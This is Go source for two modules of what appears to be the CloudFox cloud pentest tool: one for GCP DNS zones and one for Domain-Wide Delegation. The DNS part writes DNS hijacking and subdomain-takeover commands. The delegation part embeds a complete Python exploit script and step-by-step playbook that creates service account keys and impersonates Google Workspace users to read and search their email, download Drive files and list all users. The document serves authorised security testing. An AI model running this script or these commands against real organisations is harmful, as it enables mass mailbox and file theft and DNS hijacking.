if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
logger.InfoM(fmt.Sprintf("Found %d zone(s) in project %s", len(zones), projectID), globals.GCP_DNS_MODULE_NAME)
}
}
// ------------------------------
// Loot File Management
// ------------------------------
func (m *DNSModule) addZoneToLoot(projectID string, zone DNSService.ZoneInfo) {
lootFile := m.LootMap[projectID]["dns-commands"]
if lootFile == nil {
return
}
lootFile.Contents += fmt.Sprintf(
"# =============================================================================\n"+
"# DNS ZONE: %s (%s)\n"+
"# =============================================================================\n"+
"# Project: %s, Visibility: %s\n",
zone.Name, zone.DNSName,
zone.ProjectID, zone.Visibility,
)
lootFile.Contents += fmt.Sprintf(`
# === ENUMERATION COMMANDS ===
# Describe zone:
gcloud dns managed-zones describe %s --project=%s
# List all record sets:
gcloud dns record-sets list --zone=%s --project=%s
# Export all records (for offline analysis):
gcloud dns record-sets export /tmp/dns-%s.zone --zone=%s --project=%s
# List DNSSEC config:
gcloud dns managed-zones describe %s --project=%s --format=json | jq '.dnssecConfig'
`, zone.Name, zone.ProjectID,
zone.Name, zone.ProjectID,
zone.Name, zone.Name, zone.ProjectID,
zone.Name, zone.ProjectID,
)
// === EXPLOIT COMMANDS ===
lootFile.Contents += "# === EXPLOIT COMMANDS ===\n\n"
// DNS validation and takeover checks
lootFile.Contents += fmt.Sprintf(
"# Validate DNS resolution for the zone:\n"+
"dig %s ANY +short\n"+
"nslookup %s\n\n"+
"# Check for dangling CNAME records (subdomain takeover):\n"+
"gcloud dns record-sets list --zone=%s --project=%s --filter=\"type=CNAME\" --format=\"table(name,rrdatas)\"\n\n"+
"# Test each CNAME for dangling records:\n"+
"# for cname in $(gcloud dns record-sets list --zone=%s --project=%s --filter=\"type=CNAME\" --format=\"value(rrdatas)\"); do\n"+
"# echo -n \"$cname: \"; dig +short $cname || echo \"DANGLING - potential takeover!\"\n"+
"# done\n\n"+
"# Check NS records (for delegation attacks):\n"+
"dig %s NS +short\n\n",
zone.DNSName, zone.DNSName,
zone.Name, zone.ProjectID,
zone.Name, zone.ProjectID,
zone.DNSName,
)
// Zone modification commands
lootFile.Contents += fmt.Sprintf(
"# Add a DNS record (requires dns.changes.create):\n"+
"gcloud dns record-sets create test.%s --zone=%s --type=A --ttl=300 --rrdatas=YOUR_IP --project=%s\n\n"+
"# Modify existing record (DNS hijacking):\n"+
"gcloud dns record-sets update www.%s --zone=%s --type=A --ttl=300 --rrdatas=YOUR_IP --project=%s\n\n",
zone.DNSName, zone.Name, zone.ProjectID,
zone.DNSName, zone.Name, zone.ProjectID,
)
if zone.Visibility == "public" {
lootFile.Contents += "# [FINDING] This is a PUBLIC zone - records are resolvable from the internet\n\n"
}
}
// ------------------------------
// Output Generation
// ------------------------------
func (m *DNSModule) writeOutput(ctx context.Context, logger internal.Logger) {
if m.Hierarchy != nil && !m.FlatOutput {
m.writeHierarchicalOutput(ctx, logger)
} else {
m.writeFlatOutput(ctx, logger)
}
}
// getZonesHeader returns the header for the zones table
func (m *DNSModule) getZonesHeader() []string {
return []string{
"Project",
"Zone Name",
"DNS Name",
"Visibility",
"DNSSEC",
"Security",
"Networks/Peering",
"Forwarding",
"IAM Binding Role",
"IAM Binding Principal",
}
}
// getRecordsHeader returns the header for the records table
func (m *DNSModule) getRecordsHeader() []string {
return []string{
"Zone",
"Name",
"Type",
"TTL",
"Data",
"Takeover Risk",
}
}
// zonesToTableBody converts zones to table body rows
func (m *DNSModule) zonesToTableBody(zones []DNSService.ZoneInfo) [][]string {
var body [][]string
for _, zone := range zones {
dnssec := zone.DNSSECState
if dnssec == "" {
dnssec = "off"
}
security := "-"
if zone.Visibility == "public" {
if zone.DNSSECState == "" || zone.DNSSECState == "off" {
security = "DNSSEC Disabled"
} else if zone.DNSSECState == "transfer" {
security = "Transfer Mode (Vulnerable)"
} else if zone.DNSSECState == "on" {
security = "OK"
}
}
networkInfo := "-"
if len(zone.PrivateNetworks) > 0 {
networkInfo = strings.Join(zone.PrivateNetworks, ", ")
} else if zone.PeeringNetwork != "" {
networkInfo = fmt.Sprintf("Peering: %s", zone.PeeringNetwork)
if zone.PeeringTargetProject != "" {
networkInfo += fmt.Sprintf(" (%s)", zone.PeeringTargetProject)
}
}
forwarding := "-"
if len(zone.ForwardingTargets) > 0 {
forwarding = strings.Join(zone.ForwardingTargets, ", ")
}
if len(zone.IAMBindings) > 0 {
for _, binding := range zone.IAMBindings {
body = append(body, []string{
m.GetProjectName(zone.ProjectID), zone.Name, zone.DNSName,
zone.Visibility, dnssec, security, networkInfo, forwarding, binding.Role, binding.Member,
})
}
} else {
body = append(body, []string{
m.GetProjectName(zone.ProjectID), zone.Name, zone.DNSName,
zone.Visibility, dnssec, security, networkInfo, forwarding, "-", "-",
})
}
}
return body
}
// recordsToTableBody converts records to table body rows
func (m *DNSModule) recordsToTableBody(records []DNSService.RecordInfo) [][]string {
takeoverRiskMap := make(map[string]DNSService.TakeoverRisk)
for _, risk := range m.TakeoverRisks {
takeoverRiskMap[risk.RecordName] = risk
}
var body [][]string
interestingTypes := map[string]bool{"A": true, "AAAA": true, "CNAME": true, "MX": true, "TXT": true, "SRV": true}
for _, record := range records {
if !interestingTypes[record.Type] {
continue
}
data := strings.Join(record.RRDatas, ", ")
takeoverRisk := "-"
if risk, exists := takeoverRiskMap[record.Name]; exists {
takeoverRisk = fmt.Sprintf("%s (%s)", risk.RiskLevel, risk.Service)
}
body = append(body, []string{
record.ZoneName, record.Name, record.Type, fmt.Sprintf("%d", record.TTL), data, takeoverRisk,
})
}
return body
}
// buildTablesForProject builds table files for a single project
func (m *DNSModule) buildTablesForProject(projectID string) []internal.TableFile {
zones := m.ProjectZones[projectID]
records := m.ProjectRecords[projectID]
zonesBody := m.zonesToTableBody(zones)
recordsBody := m.recordsToTableBody(records)
var tableFiles []internal.TableFile
if len(zonesBody) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: globals.GCP_DNS_MODULE_NAME + "-zones",
Header: m.getZonesHeader(),
Body: zonesBody,
})
}
if len(recordsBody) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: globals.GCP_DNS_MODULE_NAME + "-records",
Header: m.getRecordsHeader(),
Body: recordsBody,
})
}
return tableFiles
}
// writeHierarchicalOutput writes output to per-project directories
func (m *DNSModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
outputData := internal.HierarchicalOutputData{
OrgLevelData: make(map[string]internal.CloudfoxOutput),
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
}
// Collect all projects with data
projectsWithData := make(map[string]bool)
for projectID := range m.ProjectZones {
projectsWithData[projectID] = true
}
for projectID := range m.ProjectRecords {
projectsWithData[projectID] = true
}
for projectID := range projectsWithData {
tableFiles := m.buildTablesForProject(projectID)
var lootFiles []internal.LootFile
if projectLoot, ok := m.LootMap[projectID]; ok {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
}
outputData.ProjectLevelData[projectID] = DNSOutput{Table: tableFiles, Loot: lootFiles}
}
pathBuilder := m.BuildPathBuilder()
err := internal.HandleHierarchicalOutputSmart(
"gcp",
m.Format,
m.Verbosity,
m.WrapTable,
pathBuilder,
outputData,
)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_DNS_MODULE_NAME)
m.CommandCounter.IncrError()
}
}
// writeFlatOutput writes all output to a single directory (legacy mode)
func (m *DNSModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
allZones := m.getAllZones()
allRecords := m.getAllRecords()
zonesBody := m.zonesToTableBody(allZones)
recordsBody := m.recordsToTableBody(allRecords)
// Collect all loot files
var lootFiles []internal.LootFile
for _, projectLoot := range m.LootMap {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
}
var tableFiles []internal.TableFile
if len(zonesBody) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: globals.GCP_DNS_MODULE_NAME + "-zones",
Header: m.getZonesHeader(),
Body: zonesBody,
})
}
if len(recordsBody) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: globals.GCP_DNS_MODULE_NAME + "-records",
Header: m.getRecordsHeader(),
Body: recordsBody,
})
}
output := DNSOutput{Table: tableFiles, Loot: lootFiles}
scopeNames := make([]string, len(m.ProjectIDs))
for i, id := range m.ProjectIDs {
scopeNames[i] = m.GetProjectName(id)
}
err := internal.HandleOutputSmart(
"gcp",
m.Format,
m.OutputDirectory,
m.Verbosity,
m.WrapTable,
"project",
m.ProjectIDs,
scopeNames,
m.Account,
output,
)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_DNS_MODULE_NAME)
m.CommandCounter.IncrError()
}
}
+758
View File
@@ -0,0 +1,758 @@
package commands
import (
"context"
"fmt"
"strings"
"sync"
domainwidedelegationservice "github.com/BishopFox/cloudfox/gcp/services/domainWideDelegationService"
"github.com/BishopFox/cloudfox/globals"
"github.com/BishopFox/cloudfox/internal"
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
"github.com/spf13/cobra"
)
var GCPDomainWideDelegationCommand = &cobra.Command{
Use: globals.GCP_DOMAINWIDEDELEGATION_MODULE_NAME,
Aliases: []string{"dwd", "delegation", "workspace-delegation"},
Short: "Find service accounts with Domain-Wide Delegation to Google Workspace",
Long: `Find service accounts configured for Domain-Wide Delegation (DWD).
Domain-Wide Delegation allows a service account to impersonate any user in a
Google Workspace domain. This is EXTREMELY powerful and a high-value target.
With DWD + a service account key, an attacker can:
- Read any user's Gmail
- Access any user's Google Drive
- View any user's Calendar
- Enumerate all users and groups via Admin Directory API
- Send emails as any user
- And much more depending on authorized scopes
Detection Method:
- Service accounts with OAuth2 Client ID set have DWD enabled
- The actual authorized scopes are configured in Google Admin Console
- We check for naming patterns that suggest DWD purpose
To Exploit:
1. Obtain a key for the DWD service account
2. Identify a target user email in the Workspace domain
3. Generate tokens with the target user as 'subject'
4. Access Workspace APIs as that user
Note: Scopes must be authorized in Admin Console > Security > API Controls`,
Run: runGCPDomainWideDelegationCommand,
}
// ------------------------------
// Module Struct
// ------------------------------
type DomainWideDelegationModule struct {
gcpinternal.BaseGCPModule
ProjectDWDAccounts map[string][]domainwidedelegationservice.DWDServiceAccount // projectID -> accounts
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
mu sync.Mutex
}
// ------------------------------
// Output Struct
// ------------------------------
type DomainWideDelegationOutput struct {
Table []internal.TableFile
Loot []internal.LootFile
}
func (o DomainWideDelegationOutput) TableFiles() []internal.TableFile { return o.Table }
func (o DomainWideDelegationOutput) LootFiles() []internal.LootFile { return o.Loot }
// ------------------------------
// Command Entry Point
// ------------------------------
func runGCPDomainWideDelegationCommand(cmd *cobra.Command, args []string) {
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_DOMAINWIDEDELEGATION_MODULE_NAME)
if err != nil {
return
}
module := &DomainWideDelegationModule{
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
ProjectDWDAccounts: make(map[string][]domainwidedelegationservice.DWDServiceAccount),
LootMap: make(map[string]map[string]*internal.LootFile),
}
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
}
// ------------------------------
// Module Execution
// ------------------------------
func (m *DomainWideDelegationModule) getAllDWDAccounts() []domainwidedelegationservice.DWDServiceAccount {
var all []domainwidedelegationservice.DWDServiceAccount
for _, accounts := range m.ProjectDWDAccounts {
all = append(all, accounts...)
}
return all
}
func (m *DomainWideDelegationModule) Execute(ctx context.Context, logger internal.Logger) {
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_DOMAINWIDEDELEGATION_MODULE_NAME, m.processProject)
allAccounts := m.getAllDWDAccounts()
if len(allAccounts) == 0 {
logger.InfoM("No Domain-Wide Delegation service accounts found", globals.GCP_DOMAINWIDEDELEGATION_MODULE_NAME)
return
}
// Count confirmed DWD accounts
confirmedDWD := 0
criticalCount := 0
for _, account := range allAccounts {
if account.DWDEnabled {
confirmedDWD++
}
if account.RiskLevel == "CRITICAL" {
criticalCount++
}
}
logger.SuccessM(fmt.Sprintf("Found %d potential DWD service account(s) (%d confirmed)", len(allAccounts), confirmedDWD), globals.GCP_DOMAINWIDEDELEGATION_MODULE_NAME)
if criticalCount > 0 {
logger.InfoM(fmt.Sprintf("[CRITICAL] %d DWD accounts with keys - can impersonate Workspace users!", criticalCount), globals.GCP_DOMAINWIDEDELEGATION_MODULE_NAME)
}
m.writeOutput(ctx, logger)
}
// ------------------------------
// Project Processor
// ------------------------------
func (m *DomainWideDelegationModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
logger.InfoM(fmt.Sprintf("Checking DWD service accounts in project: %s", projectID), globals.GCP_DOMAINWIDEDELEGATION_MODULE_NAME)
}
m.mu.Lock()
// Initialize loot for this project
if m.LootMap[projectID] == nil {
m.LootMap[projectID] = make(map[string]*internal.LootFile)
}
m.mu.Unlock()
svc := domainwidedelegationservice.New()
accounts, err := svc.GetDWDServiceAccounts(projectID)
if err != nil {
m.CommandCounter.IncrError()
gcpinternal.HandleGCPError(err, logger, globals.GCP_DOMAINWIDEDELEGATION_MODULE_NAME,
fmt.Sprintf("Could not check DWD service accounts in project %s", projectID))
return
}
m.mu.Lock()
m.ProjectDWDAccounts[projectID] = accounts
m.mu.Unlock()
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS && len(accounts) > 0 {
logger.InfoM(fmt.Sprintf("Found %d DWD account(s) in project %s", len(accounts), projectID), globals.GCP_DOMAINWIDEDELEGATION_MODULE_NAME)
}
}
// ------------------------------
// Loot File Management
// ------------------------------
// generateDWDPythonScript returns the Python exploit script (generated once globally)
func (m *DomainWideDelegationModule) generateDWDPythonScript() internal.LootFile {
pythonScript := `#!/usr/bin/env python3
"""
Domain-Wide Delegation (DWD) Exploitation Script
Generated by CloudFox
Usage:
# Interactive mode (authenticate once, run multiple actions):
python dwd_exploit.py --key-file KEY.json --subject user@domain.com
# Single command mode:
python dwd_exploit.py --key-file KEY.json --subject user@domain.com --action read-emails
python dwd_exploit.py --key-file KEY.json --subject user@domain.com --all-scopes
"""
import argparse
import base64
import io
import sys
from google.oauth2 import service_account
from googleapiclient.discovery import build
from googleapiclient.http import MediaIoBaseDownload
SCOPES = {
'gmail_readonly': 'https://www.googleapis.com/auth/gmail.readonly',
'gmail_send': 'https://www.googleapis.com/auth/gmail.send',
'gmail_full': 'https://mail.google.com/',
'drive_readonly': 'https://www.googleapis.com/auth/drive.readonly',
'drive_full': 'https://www.googleapis.com/auth/drive',
'calendar_readonly': 'https://www.googleapis.com/auth/calendar.readonly',
'calendar_full': 'https://www.googleapis.com/auth/calendar',
'admin_directory_users': 'https://www.googleapis.com/auth/admin.directory.user.readonly',
'admin_directory_groups': 'https://www.googleapis.com/auth/admin.directory.group.readonly',
'contacts': 'https://www.googleapis.com/auth/contacts.readonly',
'sheets': 'https://www.googleapis.com/auth/spreadsheets',
}
class DWDExploit:
def __init__(self, key_file, subject):
self.key_file = key_file
self.subject = subject
self.services = {}
self.working_scopes = set()
print(f"\n[*] Initialized DWD exploit")
print(f" Key file: {key_file}")
print(f" Subject: {subject}")
def get_credentials(self, scopes):
if isinstance(scopes, str):
scopes = [scopes]
return service_account.Credentials.from_service_account_file(
self.key_file, scopes=scopes, subject=self.subject
)
def get_service(self, service_name, version, scope):
"""Get or create a cached service."""
key = f"{service_name}_{version}_{scope}"
if key not in self.services:
creds = self.get_credentials(SCOPES[scope])
self.services[key] = build(service_name, version, credentials=creds)
return self.services[key]
def test_all_scopes(self):
"""Test which scopes are authorized."""
print(f"\n[*] Testing all scopes for {self.subject}...")
for scope_name, scope_url in SCOPES.items():
print(f"\n[*] Testing: {scope_name}")
try:
creds = self.get_credentials(scope_url)
if 'gmail' in scope_name:
service = build('gmail', 'v1', credentials=creds)
results = service.users().messages().list(userId='me', maxResults=5).execute()
count = len(results.get('messages', []))
print(f" [+] SUCCESS - Found {count} messages")
self.working_scopes.add(scope_name)
elif 'drive' in scope_name:
service = build('drive', 'v3', credentials=creds)
results = service.files().list(pageSize=5).execute()
count = len(results.get('files', []))
print(f" [+] SUCCESS - Found {count} files")
self.working_scopes.add(scope_name)
elif 'calendar' in scope_name:
service = build('calendar', 'v3', credentials=creds)
results = service.calendarList().list().execute()
count = len(results.get('items', []))
print(f" [+] SUCCESS - Found {count} calendars")
self.working_scopes.add(scope_name)
elif 'admin_directory' in scope_name:
service = build('admin', 'directory_v1', credentials=creds)
results = service.users().list(customer='my_customer', maxResults=5).execute()
count = len(results.get('users', []))
print(f" [+] SUCCESS - Found {count} users")
self.working_scopes.add(scope_name)
else:
print(f" [+] SUCCESS - Credentials created")
self.working_scopes.add(scope_name)
except Exception as e:
print(f" [-] FAILED: {str(e)[:80]}")
print(f"\n[+] Working scopes: {', '.join(self.working_scopes) if self.working_scopes else 'None'}")
def read_emails(self, max_results=20):
"""Read emails from user's inbox."""
service = self.get_service('gmail', 'v1', 'gmail_readonly')
results = service.users().messages().list(userId='me', maxResults=max_results).execute()
messages = results.get('messages', [])
print(f"\n[+] Reading {len(messages)} emails for {self.subject}:\n")
for msg in messages:
msg_data = service.users().messages().get(userId='me', id=msg['id'], format='full').execute()
headers = {h['name']: h['value'] for h in msg_data['payload']['headers']}
print(f"{'='*60}")
print(f"From: {headers.get('From', 'N/A')}")
print(f"To: {headers.get('To', 'N/A')}")
print(f"Subject: {headers.get('Subject', 'N/A')}")
print(f"Date: {headers.get('Date', 'N/A')}")
body = ""
if 'parts' in msg_data['payload']:
for part in msg_data['payload']['parts']:
if part['mimeType'] == 'text/plain' and 'data' in part.get('body', {}):
body = base64.urlsafe_b64decode(part['body']['data']).decode('utf-8', errors='ignore')
break
elif 'body' in msg_data['payload'] and 'data' in msg_data['payload']['body']:
body = base64.urlsafe_b64decode(msg_data['payload']['body']['data']).decode('utf-8', errors='ignore')
if body:
print(f"\nBody:\n{body[:500]}{'...' if len(body) > 500 else ''}")
print()
def search_emails(self, query):
"""Search emails with a query."""
service = self.get_service('gmail', 'v1', 'gmail_readonly')
results = service.users().messages().list(userId='me', q=query, maxResults=20).execute()
messages = results.get('messages', [])
print(f"\n[+] Found {len(messages)} emails matching '{query}':\n")
for msg in messages:
msg_data = service.users().messages().get(userId='me', id=msg['id'], format='metadata').execute()
headers = {h['name']: h['value'] for h in msg_data['payload']['headers']}
print(f" - {headers.get('Subject', 'N/A')[:60]} | From: {headers.get('From', 'N/A')[:30]}")
def list_drive(self, max_results=50):
"""List files in user's Drive."""
service = self.get_service('drive', 'v3', 'drive_readonly')
results = service.files().list(
pageSize=max_results,
fields="files(id, name, mimeType, size, modifiedTime)"
).execute()
files = results.get('files', [])
print(f"\n[+] Found {len(files)} files in Drive:\n")
for f in files:
size = f.get('size', 'N/A')
if size != 'N/A':
size = f"{int(size)/1024:.1f}KB"
print(f" [{f['id'][:12]}] {f['name'][:45]} ({f['mimeType'].split('.')[-1]}) {size}")
def download_file(self, file_id, output_path=None):
"""Download a file from Drive."""
service = self.get_service('drive', 'v3', 'drive_readonly')
file_meta = service.files().get(fileId=file_id, fields='name,mimeType').execute()
filename = output_path or file_meta['name']
request = service.files().get_media(fileId=file_id)
fh = io.BytesIO()
downloader = MediaIoBaseDownload(fh, request)
done = False
while not done:
status, done = downloader.next_chunk()
print(f"\r[*] Download: {int(status.progress() * 100)}%", end='')
with open(filename, 'wb') as f:
f.write(fh.getvalue())
print(f"\n[+] Downloaded: {filename}")
def list_users(self):
"""List all Workspace users."""
service = self.get_service('admin', 'directory_v1', 'admin_directory_users')
results = service.users().list(customer='my_customer', maxResults=200).execute()
users = results.get('users', [])
print(f"\n[+] Found {len(users)} Workspace users:\n")
for user in users:
name = user.get('name', {}).get('fullName', 'N/A')
admin = "ADMIN" if user.get('isAdmin') else ""
print(f" - {user.get('primaryEmail'):<40} {name:<25} {admin}")
def list_calendars(self):
"""List user's calendars."""
service = self.get_service('calendar', 'v3', 'calendar_readonly')
results = service.calendarList().list().execute()
calendars = results.get('items', [])
print(f"\n[+] Found {len(calendars)} calendars:\n")
for cal in calendars:
print(f" - {cal.get('summary', 'N/A')} ({cal.get('id', 'N/A')[:40]})")
def list_events(self, max_results=20):
"""List upcoming calendar events."""
from datetime import datetime
service = self.get_service('calendar', 'v3', 'calendar_readonly')
now = datetime.utcnow().isoformat() + 'Z'
results = service.events().list(
calendarId='primary', timeMin=now, maxResults=max_results, singleEvents=True, orderBy='startTime'
).execute()
events = results.get('items', [])
print(f"\n[+] Found {len(events)} upcoming events:\n")
for event in events:
start = event['start'].get('dateTime', event['start'].get('date'))
print(f" - {start[:16]} | {event.get('summary', 'No title')}")
def change_subject(self, new_subject):
"""Change the impersonated user."""
self.subject = new_subject
self.services = {} # Clear cached services
print(f"\n[+] Now impersonating: {new_subject}")
def interactive(self):
"""Interactive mode - run multiple actions without re-authenticating."""
print("\n" + "="*60)
print(" DWD Interactive Mode")
print(" Type 'help' for commands, 'quit' to exit")
print("="*60)
while True:
try:
cmd = input(f"\n[{self.subject}]> ").strip().lower()
except (EOFError, KeyboardInterrupt):
print("\n[*] Exiting...")
break
if not cmd:
continue
parts = cmd.split(maxsplit=1)
action = parts[0]
args = parts[1] if len(parts) > 1 else ""
try:
if action in ('quit', 'exit', 'q'):
print("[*] Exiting...")
break
elif action == 'help':
self.print_help()
elif action == 'test' or action == 'scopes':
self.test_all_scopes()
elif action == 'emails' or action == 'inbox':
self.read_emails()
elif action == 'search':
if not args:
args = input(" Search query: ").strip()
self.search_emails(args)
elif action == 'drive' or action == 'files':
self.list_drive()
elif action == 'download':
if not args:
args = input(" File ID: ").strip()
self.download_file(args)
elif action == 'users':
self.list_users()
elif action == 'calendars':
self.list_calendars()
elif action == 'events':
self.list_events()
elif action == 'subject' or action == 'impersonate':
if not args:
args = input(" New subject email: ").strip()
self.change_subject(args)
elif action == 'whoami':
print(f"\n Key file: {self.key_file}")
print(f" Subject: {self.subject}")
print(f" Working scopes: {', '.join(self.working_scopes) if self.working_scopes else 'Not tested yet'}")
else:
print(f" Unknown command: {action}. Type 'help' for commands.")
except Exception as e:
print(f" [!] Error: {e}")
def print_help(self):
print("""
Commands:
test / scopes - Test which scopes are authorized
emails / inbox - Read inbox emails
search <query> - Search emails (e.g., search password)
drive / files - List Google Drive files
download <file_id> - Download a Drive file
users - List all Workspace users (requires admin)
calendars - List calendars
events - List upcoming calendar events
subject <email> - Switch to impersonate a different user
whoami - Show current configuration
help - Show this help
quit / exit / q - Exit interactive mode
""")
def main():
parser = argparse.ArgumentParser(description='DWD Exploitation Script')
parser.add_argument('--key-file', required=True, help='Service account key JSON file')
parser.add_argument('--subject', required=True, help='Email of user to impersonate')
parser.add_argument('--all-scopes', action='store_true', help='Test all scopes and exit')
parser.add_argument('--action', choices=[
'read-emails', 'search-emails', 'list-drive', 'download-file',
'list-users', 'list-calendars', 'list-events'
], help='Single action to perform (non-interactive)')
parser.add_argument('--query', help='Search query for search-emails')
parser.add_argument('--file-id', help='File ID for download-file')
parser.add_argument('--output', help='Output path for download-file')
args = parser.parse_args()
exploit = DWDExploit(args.key_file, args.subject)
# Single action modes
if args.all_scopes:
exploit.test_all_scopes()
elif args.action == 'read-emails':
exploit.read_emails()
elif args.action == 'search-emails':
if not args.query:
parser.error('--query is required for search-emails')
exploit.search_emails(args.query)
elif args.action == 'list-drive':
exploit.list_drive()
elif args.action == 'download-file':
if not args.file_id:
parser.error('--file-id is required for download-file')
exploit.download_file(args.file_id, args.output)
elif args.action == 'list-users':
exploit.list_users()
elif args.action == 'list-calendars':
exploit.list_calendars()
elif args.action == 'list-events':
exploit.list_events()
else:
# No action specified - enter interactive mode
exploit.interactive()
if __name__ == '__main__':
main()
`
return internal.LootFile{
Name: "dwd_exploit.py",
Contents: pythonScript,
}
}
// generateDWDCommands generates the commands file for a specific project's accounts
func (m *DomainWideDelegationModule) generateDWDCommands(accounts []domainwidedelegationservice.DWDServiceAccount) internal.LootFile {
var commands strings.Builder
commands.WriteString(`# Domain-Wide Delegation (DWD) Exploitation Commands
# Generated by CloudFox
# WARNING: Only use with proper authorization
# =============================================================================
# STEP 1: INSTALL DEPENDENCIES
# =============================================================================
pip install google-auth google-auth-oauthlib google-api-python-client
# =============================================================================
# STEP 2: CREATE A SERVICE ACCOUNT KEY (if needed)
# =============================================================================
# Replace <SERVICE_ACCOUNT_EMAIL> with the service account email from above
gcloud iam service-accounts keys create sa-key.json \
--iam-account=<SERVICE_ACCOUNT_EMAIL>
# =============================================================================
# STEP 3: RUN THE EXPLOIT SCRIPT (INTERACTIVE MODE)
# =============================================================================
# Replace:
# sa-key.json - Path to the service account key file
# admin@domain.com - Email of Workspace user to impersonate
# Start interactive mode (recommended - authenticate once, run many commands):
python dwd_exploit.py --key-file sa-key.json --subject admin@domain.com
# Interactive commands:
# test - Test which scopes are authorized
# emails - Read inbox emails
# search <q> - Search emails (e.g., search password reset)
# drive - List Google Drive files
# download <id> - Download a Drive file
# users - List all Workspace users
# calendars - List calendars
# events - List upcoming calendar events
# subject <email> - Switch to impersonate a different user
# whoami - Show current config
# quit - Exit
# =============================================================================
# STEP 3 (ALT): SINGLE COMMAND MODE
# =============================================================================
# If you prefer single commands instead of interactive mode:
# Test all scopes:
python dwd_exploit.py --key-file sa-key.json --subject admin@domain.com --all-scopes
# Read emails:
python dwd_exploit.py --key-file sa-key.json --subject admin@domain.com --action read-emails
# Search emails:
python dwd_exploit.py --key-file sa-key.json --subject admin@domain.com --action search-emails --query "password"
# List Drive files:
python dwd_exploit.py --key-file sa-key.json --subject admin@domain.com --action list-drive
# Download a file:
python dwd_exploit.py --key-file sa-key.json --subject admin@domain.com --action download-file --file-id FILE_ID
# List Workspace users:
python dwd_exploit.py --key-file sa-key.json --subject admin@domain.com --action list-users
# =============================================================================
# NOTES
# =============================================================================
# - Scopes must be pre-authorized in Google Admin Console:
# Admin Console > Security > API Controls > Domain-wide Delegation
# - The service account's OAuth2 Client ID must be listed there
# - Not all scopes may be authorized - run 'test' to check
# - admin_directory scopes require impersonating a Workspace admin user
# - In interactive mode, use 'subject' command to switch users without restarting
`)
return internal.LootFile{
Name: "dwd-playbook",
Contents: commands.String(),
}
}
// ------------------------------
// Output Generation
// ------------------------------
func (m *DomainWideDelegationModule) writeOutput(ctx context.Context, logger internal.Logger) {
if m.Hierarchy != nil && !m.FlatOutput {
m.writeHierarchicalOutput(ctx, logger)
} else {
m.writeFlatOutput(ctx, logger)
}
}
func (m *DomainWideDelegationModule) getHeader() []string {
return []string{
"Project",
"Email",
"DWD Enabled",
"OAuth2 Client ID",
"Key ID",
"Key Created",
"Key Expires",
"Key Algorithm",
}
}
func (m *DomainWideDelegationModule) accountsToTableBody(accounts []domainwidedelegationservice.DWDServiceAccount) [][]string {
var body [][]string
for _, account := range accounts {
dwdStatus := "No"
if account.DWDEnabled {
dwdStatus = "Yes"
}
clientID := account.OAuth2ClientID
if clientID == "" {
clientID = "-"
}
if len(account.Keys) > 0 {
// One row per key
for _, key := range account.Keys {
body = append(body, []string{
m.GetProjectName(account.ProjectID),
account.Email,
dwdStatus,
clientID,
key.KeyID,
key.CreatedAt,
key.ExpiresAt,
key.KeyAlgorithm,
})
}
} else {
// Account with no keys - still show it
body = append(body, []string{
m.GetProjectName(account.ProjectID),
account.Email,
dwdStatus,
clientID,
"-",
"-",
"-",
"-",
})
}
}
return body
}
func (m *DomainWideDelegationModule) buildTablesForProject(projectID string) []internal.TableFile {
var tableFiles []internal.TableFile
if accounts, ok := m.ProjectDWDAccounts[projectID]; ok && len(accounts) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: "domain-wide-delegation",
Header: m.getHeader(),
Body: m.accountsToTableBody(accounts),
})
}
return tableFiles
}
func (m *DomainWideDelegationModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
outputData := internal.HierarchicalOutputData{
OrgLevelData: make(map[string]internal.CloudfoxOutput),
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
}
// Generate Python script once (same for all projects)
pythonScript := m.generateDWDPythonScript()
for projectID, accounts := range m.ProjectDWDAccounts {
tableFiles := m.buildTablesForProject(projectID)
var lootFiles []internal.LootFile
if len(accounts) > 0 {
// Add Python script to each project
lootFiles = append(lootFiles, pythonScript)
// Add project-specific commands
lootFiles = append(lootFiles, m.generateDWDCommands(accounts))
}
outputData.ProjectLevelData[projectID] = DomainWideDelegationOutput{Table: tableFiles, Loot: lootFiles}
}
pathBuilder := m.BuildPathBuilder()
err := internal.HandleHierarchicalOutputSmart("gcp", m.Format, m.Verbosity, m.WrapTable, pathBuilder, outputData)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_DOMAINWIDEDELEGATION_MODULE_NAME)
}
}
func (m *DomainWideDelegationModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
allAccounts := m.getAllDWDAccounts()
var tables []internal.TableFile
if len(allAccounts) > 0 {
tables = append(tables, internal.TableFile{
Name: "domain-wide-delegation",
Header: m.getHeader(),
Body: m.accountsToTableBody(allAccounts),
})
}
var lootFiles []internal.LootFile
if len(allAccounts) > 0 {
lootFiles = append(lootFiles, m.generateDWDPythonScript())
lootFiles = append(lootFiles, m.generateDWDCommands(allAccounts))
}
output := DomainWideDelegationOutput{
Table: tables,
Loot: lootFiles,
}
